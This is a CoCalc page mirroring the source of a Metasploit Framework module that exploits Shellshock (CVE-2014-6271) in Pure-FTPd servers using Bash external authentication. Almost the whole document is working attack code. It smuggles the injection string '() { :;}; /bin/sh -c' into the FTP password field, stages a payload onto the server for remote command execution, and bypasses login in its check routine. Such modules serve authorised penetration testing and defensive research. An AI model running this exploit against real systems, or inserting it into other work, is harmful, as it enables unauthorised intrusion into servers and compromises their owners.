CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Ftp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)',
15
'Description' => %q(
16
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
17
handles external environment variables. This module targets the Pure-FTPd FTP
18
server when it has been compiled with the --with-extauth flag and an external
19
Bash script is used for authentication. If the server is not set up this way,
20
the exploit will fail, even if the version of Bash in use is vulnerable.
21
),
22
'Author' =>
23
[
24
'Stephane Chazelas', # Vulnerability discovery
25
'Frank Denis', # Discovery of Pure-FTPd attack vector
26
'Spencer McIntyre' # Metasploit module
27
],
28
'References' =>
29
[
30
[ 'CVE', '2014-6271' ],
31
[ 'CWE', '94' ],
32
[ 'OSVDB', '112004' ],
33
[ 'EDB', '34765' ],
34
[ 'URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc' ],
35
[ 'URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules' ]
36
],
37
'Payload' =>
38
{
39
'DisableNops' => true,
40
'Space' => 2048
41
},
42
'Targets' =>
43
[
44
[ 'Linux x86',
45
{
46
'Platform' => 'linux',
47
'Arch' => ARCH_X86,
48
'CmdStagerFlavor' => :printf
49
}
50
],
51
[ 'Linux x86_64',
52
{
53
'Platform' => 'linux',
54
'Arch' => ARCH_X64,
55
'CmdStagerFlavor' => :printf
56
}
57
]
58
],
59
'DefaultOptions' =>
60
{
61
'PrependFork' => true
62
},
63
'DefaultTarget' => 0,
64
'DisclosureDate' => '2014-09-24',
65
'Notes' =>
66
{
67
'AKA' => [ 'Shellshock' ],
68
'Stability' => [ CRASH_SAFE, ],
69
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
70
'Reliability' => [ REPEATABLE_SESSION, ],
71
},
72
))
73
register_options(
74
[
75
Opt::RPORT(21),
76
OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin'])
77
])
78
deregister_options('FTPUSER', 'FTPPASS')
79
end
80
81
def check
82
# this check method tries to use the vulnerability to bypass the login
83
username = rand_text_alphanumeric(rand(20) + 1)
84
random_id = (rand(100) + 1)
85
command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
86
if send_command(username, command) =~ /^2\d\d ok./i
87
disconnect
88
return CheckCode::Safe if banner !~ /pure-ftpd/i
89
90
command = "echo auth_ok:0; echo end"
91
if send_command(username, command) =~ /^5\d\d login authentication failed/i
92
disconnect
93
return CheckCode::Vulnerable
94
end
95
end
96
disconnect
97
98
CheckCode::Safe
99
end
100
101
def execute_command(cmd, _opts)
102
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
103
username = rand_text_alphanumeric(rand(20) + 1)
104
send_command(username, cmd)
105
end
106
107
def exploit
108
execute_cmdstager(linemax: 500)
109
handler
110
end
111
112
def send_command(username, cmd)
113
cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\""
114
connect
115
send_user(username)
116
password_result = send_pass(cmd)
117
disconnect
118
password_result
119
end
120
end
121
122